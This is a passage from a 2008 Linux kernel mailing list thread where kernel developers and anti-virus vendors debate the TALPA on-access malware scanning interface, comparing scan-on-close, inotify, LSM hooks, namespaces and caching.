Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Wed, 6 Aug 2008 15:16:02 +0100
tvrtko.ursulin@sophos.com wrote:

> Arjan van de Ven wrote on 06/08/2008 14:44:18:
> 
> > On Wed, 6 Aug 2008 08:10:53 -0400
> > "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
> > 
> > > However...  This question about arguing for a flawed security
> > > technique is a good one, and in a way it gets to the heart of the
> > > philosophy of security.  Scan-on-close is admittedly incomplete
> > > as an anti-virus tool. But I don't agree that that make it
> > > flawed.   It is part of a repertoire of techniques for preventing
> > > malware from residing on a machine.
> > 
> > this indeed gets to the heart of the problem.
> > several of us here are trying to argue that scan-on-close isn't very
> > good, BUT that if you do scan-on-change (say with inotify) you do
> > reach the same goal but with much better results.
> > 
> > notice the "but" in there. What I hope will happen is that one or
> > more people from the AV side (eg you and tvrtko) will actually read
> > the "but" part rather than just dismissing it outright because of
> > not liking your solution in the first part of it. Part of the
> > answer could be "nice however our goal is <THIS> so it won't work
> > because of <THAT>". At least as long as <THIS> isn't "scan on
> > close" because that's not a goal, that's a means.
> > 
> > this kind of thing seems to be indicative of the entire discussion.
> > For lkml proposals, both sides need to be willing to accept
> > alternative solutions for a problem (I know I am, just need to see
> > why ;-).. and explain the WHY and the goal if it's not clear.
> 
> Problems with inotify as far as I know:

finally some useful discussion ;-)

> 
> You can't do something like inotify("/") (made up API) but you have
> to set up a watch for every directory you wan't to watch. That seems
> like a waste of resources.
> 
> Then you get back a file name, if you wan't to report it or attempt*
> to scan it you have to build a pathname yourself, which means you
> have to maintain the whole tree of names in memory. Even bigger waste.
> 
> When I say attempt to scan it above I mean that we are back into the 
> pathanme teritorry. It is not guaranteed we will be able to open and
> scan using that pathname. I don't know what inotify reports with
> chroots and private namespaces, but it can certainly fail with NFS
> and root_squash. So it is less effective as well as being resource
> intensive.

one argument against the namespaces one is that of security; on the one
hand I can see the argument of running the virus scanner in its own
container, on the other hand I can see the argument of not liking
cross-container access of data as a security issue by itself.

> 
> I think this is a good amount of flaws which shows inotify isn't
> really ideal.

that is a fair list of complaints.. the question is can inotify be
fixed....


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Theodore Tso]

On Wed, Aug 06, 2008 at 03:16:02PM +0100, tvrtko.ursulin@sophos.com wrote:
> 
> You can't do something like inotify("/") (made up API) but you have to set 
> up a watch for every directory you wan't to watch. That seems like a waste 
> of resources.
> 
> Then you get back a file name, if you wan't to report it or attempt* to 
> scan it you have to build a pathname yourself, which means you have to 
> maintain the whole tree of names in memory. Even bigger waste.

Yes, it would be nice if inotify gave you back a full pathname and
where a single watch would return all changes anywhere in the
filesystem tree.  I'd recommend that folks try to create such a patch.

> When I say attempt to scan it above I mean that we are back into the 
> pathanme teritorry. It is not guaranteed we will be able to open and scan 
> using that pathname. I don't know what inotify reports with chroots and 
> private namespaces, but it can certainly fail with NFS and root_squash. So 
> it is less effective as well as being resource intensive.

Linux's namespace support does break a lot of traditional paradigm.
I'll note the TALPA "requirements" are broken themselves since they
refer to pathnames.

Furthermore, I assume you'll always want to do the scanning in
userspace; the virus signature files for Windows are ***huge***.  And
if you are going to be scanning for Windows virii on the argument that
you want to stop malware on fileservers, I don't think you want to put
all of that code into the kernel.  (I'll note that all that code
complexity leads to bugs, which will in kernel code cause system
crashes.  One company's Linux AV code --- I won't say which --- almost
lead to a rather big and public customer abandoning an Linux
deployment because said proprietary, badly/disastrously written,
kernel code was leaking a small amount of memory on every file open,
and no one could figure out why their file server was crashing every
five days or so.  I was called in to rescue said customer before they
cancelled the contract in disgust, and I traced it back to a
proprietary AV kernel module.  What fun...)

So if we are going to have to deal with namespaces, I suspect the best
we can do for any interface (whether it is inotify based or not) is to
have it return pathnames that are valid in the namespace that the
program calling said interface happens to be running in.  If necessary
the AV program can be given access to a highly privileged namespace
where all mounts are visible.  And if you want to restrict namespaces
from being created at all, that's a security policy decision that
should be made via the LSM hooks.

As far as blocking opens are concerned, my suggestion there would be
changes would probably be much more likely accepted if they solved
more problems than just what the AV folks need.  For example, think
about hierarchical storage management, and DMAPI.  DMAPI is a total
disaster because it doesn't know about namespaces and so is completely
pathname based (which doesn't work well when you have namespaces).
But a solution which is general enough that it can also be used to
support HSM would probably be a good thing.

Also, it may very well be that instead of one, purpose-specific
interface such as what you suggested in TALPA, it might be much better
if it was a series of different interfaces; and in some cases, some of
the changes might be extensions and improvments to existing
facilities, such inotify.

Regards,

						- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Theodore Tso <tytso@MIT.EDU> wrote on 06/08/2008 16:22:36:

> On Wed, Aug 06, 2008 at 03:16:02PM +0100, tvrtko.ursulin@sophos.com 
wrote:
> > 
> > You can't do something like inotify("/") (made up API) but you have to 
set 
> > up a watch for every directory you wan't to watch. That seems like a 
waste 
> > of resources.
> > 
> > Then you get back a file name, if you wan't to report it or attempt* 
to 
> > scan it you have to build a pathname yourself, which means you have to 

> > maintain the whole tree of names in memory. Even bigger waste.
> 
> Yes, it would be nice if inotify gave you back a full pathname and
> where a single watch would return all changes anywhere in the
> filesystem tree.  I'd recommend that folks try to create such a patch.

I will have a brief look to familiarise myself with inotify 
implementation. So maybe, but even if that solves only one 
sub-requirement.
 
> > When I say attempt to scan it above I mean that we are back into the 
> > pathanme teritorry. It is not guaranteed we will be able to open and 
scan 
> > using that pathname. I don't know what inotify reports with chroots 
and 
> > private namespaces, but it can certainly fail with NFS and 
root_squash. So 
> > it is less effective as well as being resource intensive.
> 
> Linux's namespace support does break a lot of traditional paradigm.
> I'll note the TALPA "requirements" are broken themselves since they
> refer to pathnames.

Core functionality does not depend on pathnames. I thought that was 
sufficiently clear from the design description. But read below...
 
> Furthermore, I assume you'll always want to do the scanning in
> userspace; the virus signature files for Windows are ***huge***.  And

You assume correctly so the rest of the paragraph was not needed. :)

> if you are going to be scanning for Windows virii on the argument that
> you want to stop malware on fileservers, I don't think you want to put
> all of that code into the kernel.  (I'll note that all that code
> complexity leads to bugs, which will in kernel code cause system
> crashes.  One company's Linux AV code --- I won't say which --- almost
> lead to a rather big and public customer abandoning an Linux
> deployment because said proprietary, badly/disastrously written,
> kernel code was leaking a small amount of memory on every file open,
> and no one could figure out why their file server was crashing every
> five days or so.  I was called in to rescue said customer before they
> cancelled the contract in disgust, and I traced it back to a
> proprietary AV kernel module.  What fun...)

Once upon a time I worked for a different company and we used embedded 
linux to drive some custom hardware, rather complex things. On some 
customer sites, every week or so the OS would hang. Some free, public and 
open kernel GPL code was leaking kernel memory on each USB transaction and 
depending on the use it would use up all memory sooner or later. We lost 
the customer, but didn't abandon Linux. Instead we helped fix the leak and 
if you don't believe me it should be ChangeLogs under my name, something 
like five or six years ago.

So what do ours anecdotes prove? Only lack of testing I would say.

Also, that companies from your example bad code would probably be better 
if a proper interface did exist and they didn't have to hack around.
 
> So if we are going to have to deal with namespaces, I suspect the best
> we can do for any interface (whether it is inotify based or not) is to
> have it return pathnames that are valid in the namespace that the
> program calling said interface happens to be running in.  If necessary
> the AV program can be given access to a highly privileged namespace
> where all mounts are visible.  And if you want to restrict namespaces
> from being created at all, that's a security policy decision that
> should be made via the LSM hooks.

I agree wih the first part and that is how it works.

Pathnames are used for reporting purposes and for possible filesystem 
hiearchy exclusions. For reporting it is obviously not critical from 
security point of view and the design document showed how we get them. 
There is no new code added to do it and it happens from userspace. Such 
pathnames are relative to the userspace daemon since they are obtained via 
/proc/self/fd/ and readlink. Exclusions use relative paths and that is 
also explained in the document.

Therefore access to all namespaces should not be needed except in a way of 
getting a file descriptor from another process, possibly from another 
namespace, do to the scan.
 
> As far as blocking opens are concerned, my suggestion there would be
> changes would probably be much more likely accepted if they solved
> more problems than just what the AV folks need.  For example, think
> about hierarchical storage management, and DMAPI.  DMAPI is a total
> disaster because it doesn't know about namespaces and so is completely
> pathname based (which doesn't work well when you have namespaces).
> But a solution which is general enough that it can also be used to
> support HSM would probably be a good thing.

I agree and think we are completely open to this. However the story 
reverses in a way that we now don't know what are the requirements for 
those so couldn't possibly address them initially.
 
> Also, it may very well be that instead of one, purpose-specific
> interface such as what you suggested in TALPA, it might be much better
> if it was a series of different interfaces; and in some cases, some of
> the changes might be extensions and improvments to existing
> facilities, such inotify.

Could be, but I think we won't know for sure until everything is fleshed 
out.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> Problems with inotify as far as I know:
> 
> You can't do something like inotify("/") (made up API) but you have to set 
> up a watch for every directory you wan't to watch. That seems like a waste 
> of resources.
> 
> Then you get back a file name, if you wan't to report it or attempt* to 
> scan it you have to build a pathname yourself, which means you have to 
> maintain the whole tree of names in memory. Even bigger waste.
> 
> When I say attempt to scan it above I mean that we are back into the 
> pathanme teritorry. It is not guaranteed we will be able to open and scan 
> using that pathname. I don't know what inotify reports with chroots and 
> private namespaces, but it can certainly fail with NFS and root_squash. So 
> it is less effective as well as being resource intensive.
> 
> I think this is a good amount of flaws which shows inotify isn't really 
> ideal.

Not ideal, but looks like good enough, and could certainly be
improved. If it is secure-enough for you (I think it is), that looks
like a way to go.

(Plus, such improvements would actually be very welcome).
									Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Peter Dolding]

On Thu, Aug 7, 2008 at 7:28 PM, Pavel Machek <pavel@suse.cz> wrote:
> Hi!
>
>> Problems with inotify as far as I know:
>>
>> You can't do something like inotify("/") (made up API) but you have to set
>> up a watch for every directory you wan't to watch. That seems like a waste
>> of resources.
>>
>> Then you get back a file name, if you wan't to report it or attempt* to
>> scan it you have to build a pathname yourself, which means you have to
>> maintain the whole tree of names in memory. Even bigger waste.
>>
>> When I say attempt to scan it above I mean that we are back into the
>> pathanme teritorry. It is not guaranteed we will be able to open and scan
>> using that pathname. I don't know what inotify reports with chroots and
>> private namespaces, but it can certainly fail with NFS and root_squash. So
>> it is less effective as well as being resource intensive.
>>
>> I think this is a good amount of flaws which shows inotify isn't really
>> ideal.
>
> Not ideal, but looks like good enough, and could certainly be
> improved. If it is secure-enough for you (I think it is), that looks
> like a way to go.
>
> (Plus, such improvements would actually be very welcome).
>                                                                        Pavel
>
My Issue API does not have to be made up.  The API kinda exists in
Credentials for a completely different use.

Issue with inotify its only monitoring.   No permission alteration to
block access.

Also its the wrong level.   I will explain why.

inotify is sitting on top of the vfs.   Ok fine if you don't want scan
effectiveness.   With bind mounts this becomes trouble quickly.

/tmp
/usr/tmp
/usr/local/tmp

All could be exactly the same physical drive.   Now in the anti-virus
would have to scan each of thoose directories if it does not find out
they are bind mounted.  Also could not look up and say ok that is bind
mounted its fine because since the last lookup a new bind mount could
have been put over the top letting something slip past.

Also TALPA is wrong because its a LSM.   LSM are the most powerful
bits of the OS.   LSM are the enforcers of Linux.  They are the last
line of defence for the OS.   You have your normal permission systems
when they fail then its the job of a LSM to pick up the mess.

Virus scanning is way better inside the permission system.   This way
if you have a issue there is still a back stop of the LSM to prevent a
breached virus scanner doing major system harm.   TALPA risks killing
the backstop.

Basically path based + Linux equals doomed.  VFS is not path based friendly.

Credentials patch on the other hand.  Is under the VFS sees real
partitions so can process divided by partition avoiding rescanning.
Also its in the permission system to has to get approve from the LSM
to do alterations.  So its back stoped.

Also is sitting at exactly the right point to override permissions.

Filesystem cache that exists to sit on top of Credentials provides the
other needed bit scan on write function.

Also filesystem driver level was also correct.  Same reason not messed
up by VFS multi mounting and over mounting.

Don't worry lots of things have been made as LSM's that should not
been.  Basically avoiding having to correct the right things.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Eric Paris]

On Fri, 2008-08-08 at 00:21 +1000, Peter Dolding wrote:

> Also TALPA is wrong because its a LSM.   LSM are the most powerful
> bits of the OS.   LSM are the enforcers of Linux.  They are the last
> line of defence for the OS.   You have your normal permission systems
> when they fail then its the job of a LSM to pick up the mess.

I've been trying to ignore you, but I just can't any more.  Please dear
god look at my work before spewing this crap.  My work is not an LSM.
My work doesn't care about bind mounts, it cares about inodes.  My work
is not path name based.  I'm not sure who you are trying to convince of
something here but obviously talking about something you don't know
about is not working for you.....

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Peter Dolding]

On Fri, Aug 8, 2008 at 12:31 AM, Eric Paris <eparis@redhat.com> wrote:
> On Fri, 2008-08-08 at 00:21 +1000, Peter Dolding wrote:
>
>> Also TALPA is wrong because its a LSM.   LSM are the most powerful
>> bits of the OS.   LSM are the enforcers of Linux.  They are the last
>> line of defence for the OS.   You have your normal permission systems
>> when they fail then its the job of a LSM to pick up the mess.
>
> I've been trying to ignore you, but I just can't any more.  Please dear
> god look at my work before spewing this crap.  My work is not an LSM.
> My work doesn't care about bind mounts, it cares about inodes.  My work
> is not path name based.  I'm not sure who you are trying to convince of
> something here but obviously talking about something you don't know
> about is not working for you.....
>
Path based was to using inotify that basically cannot do the job.   I
guess you agree with that.

Ok you corrected that bit in the TALPA design?   Past form of the
beast was hooking down threw the LSM structs to block files so if
something went wrong it could override all the permissions on the
system without any means of anything else blocking it.  Effectively
killing the system.   Basically the Userspace daemon answering block
everything worked.   Ie connected in too high. So key operational
files of the OS could not be protected against the scanner turning
into malware itself.   Yes users are tricked to install fake
anti-viruses and malware scanners on windows.  So yes something
hostile to the system can and most likely will connect to the TALPA
API.   Is over site to the LSM provided?  Just last time I looked
still missing.

Credentials alterations to permissions must go back threw the LSM.
Also Credentials permission change will not operate without LSM built
into kernel.   Running a Anti-virus without a wrapper around it is
partly foolish anyhow.

There is still the duplication issue.  Two filesystem caches one in
TALPA and One the FS-cache that is designed to sit on top of
Credentials.   TALPA is only a part filesystem cache but caching
approved and not approved is still a form of filesystem cache.  Its
caching virtual permissions of the filesystem.

Also duplication of permission overriding Credentials provides means
to override permissions from userspace as well including creating
virtual permissions like TALPA is doing.  Reason for virtual
permissions simple not all file system support the all the permissions
to run Linux on with LSM's fully active.

Simple fact you have two API doing almost exactly the same thing.
Just different ways.   Credentials spreed all the way threw the OS as
well.

So if in the Credential stuct was added a flag saying what version
virus scan had been done on a running executable a search of running
programs that had not been scanned against particular virus signatures
would also be simple.  Same with disconnected files.   Ie files that
have been deleted but since a process is still running are still not
deleted yet in the /proc.   TALPA cache current design cache is
nothing more than duplication beside what Credentials and FS-cache is
doing.

Also Credentials nice screw up you inode monitoring.  FS-cache on top
of Credentials can impersonate a inode.  So TALPA will think its
getting a inode from like NFS but its really getting what was stored
in the FS-cache.  So now TALPA is failed it has to scan everything to
avoid Credentials and its cache is rendered useless.

Caching of scanned and not scanned is more than doable threw the
credentials.   Scanning at the Filesystem cache itself also makes
sence.   Only 1 cache system to run also equals not exploited by
another cache running on the system.

OS hardening will required doing away with all per filesystem caches
and come back to generic cache only.  The caches currently back door
TALPA and have minor down side to Credentials.   Credentials with
FS-cache does have the option to scan everything as its loaded into
the Cache so can defend against the other caches harming it at the
cost of CPU time and ram.  Double full caching.  But since its caching
the files themselves its can not be tricked by impersonation.

TALPA is a failed design.  It has too many holes.  They need to be
closed.  Fastest way to close them is just merge its ideas into
Credentials.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[James Morris]

On Fri, 8 Aug 2008, Peter Dolding wrote:

> TALPA is a failed design.  It has too many holes.  They need to be
> closed.  Fastest way to close them is just merge its ideas into
> Credentials.

Sound great, looking forward to your patches!

I suggest developing them against:

git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6#next-creds

Thanks.


- James
-- 
James Morris
<jmorris@namei.org>

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Theodore Tso]

On Wed, Aug 06, 2008 at 08:10:53AM -0400, Press, Jonathan wrote:
> I think if it as being like the Sieve of Eratosthenes.  The further down
> you go, the more numbers drop out.  In AV scanning, each step of the way
> removes some percentage of the harmful files, and closes the window of
> time that they have to operate or migrate.  Or maybe it's like spraying
> insecticide when there is an outbreak of some deadly mosquito-borne
> illness.  Without getting into the political issues about spraying,
> because this is JUST AN EXAMPLE -- would you not spray because 5% of the
> bugs would still be left behind?  Wouldn't you then spray again, because
> you wipe out another 95%?

The problem with your example is that it ignores the cost; the cost in
code maintenance; the cost in performance, etc.  That's the problem an
absolutist view towards security.  Going back to the your sparying
analogy, if the illness is considered *so* utterly deadly that you
don't consider the costs of beneficial insects dieing, children
getting exposed so badly that they get cancer five years later,
etc. --- then the argument would be heck, let's spray every day!
Let's spray every hour!  Let's have a insectside misters going 24
hours a day in the parks and in the schools!!!

In the TSA example, let's force every single traveller to strip naked
publically and be submitted to body cavity searches!  Since
**obviously** stopping terrorist bombs is so important that no other
considerations need to be taken into account.  Oh, and we should
obviously also give all of our financial information to the security
agencies so they can do futher screens to look for terrorists; who
cares about the risks that laptops with all of that unencrypted data
will be stolen out of a locked office in the San Francisco airport?

Similarly there are costs to doing all of this extra scanning.  You're
getting carried away here way you say that it never hurts to do extra
scanning, and that we don't need to decide whether or not it makes
sense to do it all.  That's just stupid.  The whole defense in depth,
taken to extremes, leads to completely nonsensical thinking.  Security
is *defintiely* a cost/benefit tradeoff, and to do something
meaningful here we need to think rationally about the threat
environment --- and part of that threat environment is the existing
security systems in Linux, which are definitely far more powerful than
what DOS/Windows have.

							- Ted

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Theodore Tso [mailto:tytso@MIT.EDU] 
Sent: Wednesday, August 06, 2008 11:09 AM
To: Press, Jonathan
Cc: Rik van Riel; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org;
Arjan van de Ven
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access scanning

On Wed, Aug 06, 2008 at 08:10:53AM -0400, Press, Jonathan wrote:
> I think if it as being like the Sieve of Eratosthenes.  The further
down
> you go, the more numbers drop out.  In AV scanning, each step of the
way
> removes some percentage of the harmful files, and closes the window of
> time that they have to operate or migrate.  Or maybe it's like
spraying
> insecticide when there is an outbreak of some deadly mosquito-borne
> illness.  Without getting into the political issues about spraying,
> because this is JUST AN EXAMPLE -- would you not spray because 5% of
the
> bugs would still be left behind?  Wouldn't you then spray again,
because
> you wipe out another 95%?

The problem with your example is that it ignores the cost; the cost in
code maintenance; the cost in performance, etc.  That's the problem an
absolutist view towards security.  Going back to the your sparying
analogy, if the illness is considered *so* utterly deadly that you don't
consider the costs of beneficial insects dieing, children getting
exposed so badly that they get cancer five years later, etc. --- then
the argument would be heck, let's spray every day! Let's spray every
hour!  Let's have a insectside misters going 24 hours a day in the parks
and in the schools!!!

In the TSA example, let's force every single traveller to strip naked
publically and be submitted to body cavity searches!  Since
**obviously** stopping terrorist bombs is so important that no other
considerations need to be taken into account.  Oh, and we should
obviously also give all of our financial information to the security
agencies so they can do futher screens to look for terrorists; who cares
about the risks that laptops with all of that unencrypted data will be
stolen out of a locked office in the San Francisco airport?

Similarly there are costs to doing all of this extra scanning.  You're
getting carried away here way you say that it never hurts to do extra
scanning, and that we don't need to decide whether or not it makes sense
to do it all.  That's just stupid.  The whole defense in depth, taken to
extremes, leads to completely nonsensical thinking.  Security is
*defintiely* a cost/benefit tradeoff, and to do something meaningful
here we need to think rationally about the threat environment --- and
part of that threat environment is the existing security systems in
Linux, which are definitely far more powerful than what DOS/Windows
have.

[JON PRESS] You're absolutely right, there is a cost-benefit tradeoff,
and I am not ignoring it at all.  Reasonable people can have a
reasonable discussion about what constitutes enough or too much
scanning.  From my experience with customers, many if not most
enterprises consider any outbreak with any serious damage to be too
much, and don't mind redundant scanning if it will help to prevent it.

Even so, I don't think your extreme examples are really parallel to what
we do.  Personally, I think that scanning on open, exec and close is not
excessive.  

And in fact, we do go out of our way to avoid scanning when it really
isn't necessary.  For example, that's the reason that we want a cache --
and again reasonable people can have a reasonable discussion about how
to handle that.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Wed, 6 Aug 2008 11:33:23 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> Even so, I don't think your extreme examples are really parallel to what
> we do.  Personally, I think that scanning on open, exec and close is not
> excessive.  
> 
> And in fact, we do go out of our way to avoid scanning when it really
> isn't necessary.  For example, that's the reason that we want a cache --

Disks are slow and files are getting larger by the day.

We can do a lot better than scanning a whole file.  A mechanism
that can notify programs about what file changed and what byte
range in the file changed can reduce scanning overhead by only
needing to scan the part of the file that changed.

More importantly, getting info on which bytes in a file changed
will also help backup programs and disk indexing programs.


Blocking on open can be useful for more than just anti-virus
scanning.  It can also be useful for hierarchical storage
management or simply for using a filesystem while it is being 
restored from backup - an important consideration because
restoring a filesystem from backup can take days with modern
data sizes.

Blocking on exec is similar to blocking on open and useful
in the same scenarios.


What we need to work on is making sure that the interfaces
that go into the kernel are useful not just for anti-virus
programs, but also for other software.

-- 
All Rights Reversed

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[tvrtko.ursulin]

Rik van Riel wrote on 06/08/2008 16:46:04:

> On Wed, 6 Aug 2008 11:33:23 -0400
> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
> 
> > Even so, I don't think your extreme examples are really parallel to 
what
> > we do.  Personally, I think that scanning on open, exec and close is 
not
> > excessive. 
> > 
> > And in fact, we do go out of our way to avoid scanning when it really
> > isn't necessary.  For example, that's the reason that we want a cache 
--
> 
> Disks are slow and files are getting larger by the day.
> 
> We can do a lot better than scanning a whole file.  A mechanism
> that can notify programs about what file changed and what byte
> range in the file changed can reduce scanning overhead by only
> needing to scan the part of the file that changed.

It is much more advanced than that, really. I don't know if ever a whole 
file is read and in 99% it is just a tiny part of it. I don't know what I 
am allowed to disclose and also it is not my area of expertise, but if you 
are interested in how detection actually works maybe we can talk off list 
and put you in touch with some other people here.

It is also wrong to think that you can scan only what has changes because 
that bit may be harmless itself but present a final part of a malware 
puzzle.
 
> More importantly, getting info on which bytes in a file changed
> will also help backup programs and disk indexing programs.

True, but Nick mentioned some huge issues with access after close and 
munmap in one of your previous postings. It sounds to me that would be a 
huge VM/filesystem work to actually enable things like this.
 
> What we need to work on is making sure that the interfaces
> that go into the kernel are useful not just for anti-virus
> programs, but also for other software.

I definitely agree with that.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Wed, 6 Aug 2008 17:12:56 +0100
tvrtko.ursulin@sophos.com wrote:
> Rik van Riel wrote on 06/08/2008 16:46:04:

> > More importantly, getting info on which bytes in a file changed
> > will also help backup programs and disk indexing programs.
> 
> True, but Nick mentioned some huge issues with access after close and 
> munmap in one of your previous postings. It sounds to me that would be a 
> huge VM/filesystem work to actually enable things like this.

A universally useful large change is often easier to get into
the Linux kernel than a single-purpose hack.

-- 
All Rights Reversed

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Eric Paris]

On Wed, 2008-08-06 at 12:25 -0400, Rik van Riel wrote:
> On Wed, 6 Aug 2008 17:12:56 +0100
> tvrtko.ursulin@sophos.com wrote:
> > Rik van Riel wrote on 06/08/2008 16:46:04:
> 
> > > More importantly, getting info on which bytes in a file changed
> > > will also help backup programs and disk indexing programs.
> > 
> > True, but Nick mentioned some huge issues with access after close and 
> > munmap in one of your previous postings. It sounds to me that would be a 
> > huge VM/filesystem work to actually enable things like this.
> 
> A universally useful large change is often easier to get into
> the Linux kernel than a single-purpose hack.

Over engineering in a void for some supposed someday user isn't a good
idea either.  If there are other people interested in working together
to come up with a solution to multiple needs I'm here to help!

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Alan Cox]

> > However, I want to point out that scanning on close is still an integral
> > part of AV protection, even if intercepting opens and execs
> > theoretically catches everything.
> 
> Great, then put a hook in glibc and catch all closes and then kick off
> your scanning.

kill -9
deferred close via mmap
etc etc etc

You can't just armwave it into glibc, that doesn't hold water. You also
have shared state between processes (index on last close of a handle
shared by several threads or processes).

Same problem you have in the indexing business (which also wants the
close hook) - aside from all the practical issues that LD_PRELOAD tends
to turn up.

I'm not actually interested in the AV stuff, but content indexing I do
care about and we do need a way to get notification up to user space.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[tvrtko.ursulin]

Greg KH wrote on 05/08/2008 19:11:41:

> On Tue, Aug 05, 2008 at 02:04:26PM -0400, Press, Jonathan wrote:
> > I'm not sure if this is off the direct idea of this thread, or if I am
> > possibly missing the whole point.
> 
> I think you might be missing the point a bit here, as the traditional
> Unix model that Linux has prevents much of what the "traditional AV"
> products need to do, right?

Could you please explain some more what and how do you think Unix model 
prevents?

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Greg KH]

On Wed, Aug 06, 2008 at 10:24:21AM +0100, tvrtko.ursulin@sophos.com wrote:
> Greg KH wrote on 05/08/2008 19:11:41:
> 
> > On Tue, Aug 05, 2008 at 02:04:26PM -0400, Press, Jonathan wrote:
> > > I'm not sure if this is off the direct idea of this thread, or if I am
> > > possibly missing the whole point.
> > 
> > I think you might be missing the point a bit here, as the traditional
> > Unix model that Linux has prevents much of what the "traditional AV"
> > products need to do, right?
> 
> Could you please explain some more what and how do you think Unix model 
> prevents?

It prevents any user from overwriting an existing executable, and it
prevents any user from adding an executable file to a common directory
(/usr/bin).

It also prevents any user from overwriting a different user's data file.

What specific threat model are you feeling is still present on Linux
today that this proposal is supposed to address?

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Arjan van de Ven]

On Tue, 5 Aug 2008 14:04:26 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> 
> However, I want to point out that scanning on close is still an
> integral part of AV protection, even if intercepting opens and execs
> theoretically catches everything.


but close is... very limited in value. Open is a discrete event
traditionally associated withh permission checks.
Close... not so.  (And if you mmap memory, you can then close the file
and still write to it via the mmap)

Lets ask it differently: what will you do if you find something nasty?
You can't fail the close... so why block for it?
And if you don't block for it... all you would need is an asynchronous
notification... something like... inotify

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Press, Jonathan]

You're right...I am not talking about blocking at all -- which may be a
further indication that I am missing the specific point of this thread.

But be that as it may...  I don't want to have to use more than one
interface to get all the events I am interested in.  I want to register
as a client and listen, and get everything I need from the same place.


Also, it seems to me that for my purposes, close is discrete enough.  It
tells me that there is now something out there that should be looked at.


Jon



-----Original Message-----
From: Arjan van de Ven [mailto:arjan@infradead.org] 
Sent: Tuesday, August 05, 2008 2:28 PM
To: Press, Jonathan
Cc: Eric Paris; Greg KH; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux
interfaceforon access scanning

On Tue, 5 Aug 2008 14:04:26 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> 
> However, I want to point out that scanning on close is still an
> integral part of AV protection, even if intercepting opens and execs
> theoretically catches everything.


but close is... very limited in value. Open is a discrete event
traditionally associated withh permission checks.
Close... not so.  (And if you mmap memory, you can then close the file
and still write to it via the mmap)

Lets ask it differently: what will you do if you find something nasty?
You can't fail the close... so why block for it?
And if you don't block for it... all you would need is an asynchronous
notification... something like... inotify

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Greg KH]

A: http://en.wikipedia.org/wiki/Top_post
Q: Were do I find info about this thing called top-posting?
A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?

On Tue, Aug 05, 2008 at 02:34:26PM -0400, Press, Jonathan wrote:
> You're right...I am not talking about blocking at all -- which may be a
> further indication that I am missing the specific point of this thread.
> 
> But be that as it may...  I don't want to have to use more than one
> interface to get all the events I am interested in.  I want to register
> as a client and listen, and get everything I need from the same place.

That's an implementation issue, not a requirement.  If it's a
requirement, it sure is a lazy one :)

> Also, it seems to me that for my purposes, close is discrete enough.  It
> tells me that there is now something out there that should be looked at.

So, if you hook glibc to catch all calls to close, is that sufficient?

thanks,

greg k-h

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Greg KH [mailto:greg@kroah.com] 
Sent: Tuesday, August 05, 2008 2:39 PM
To: Press, Jonathan
Cc: Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
linuxinterfaceforon access scanning


A: http://en.wikipedia.org/wiki/Top_post
Q: Were do I find info about this thing called top-posting?
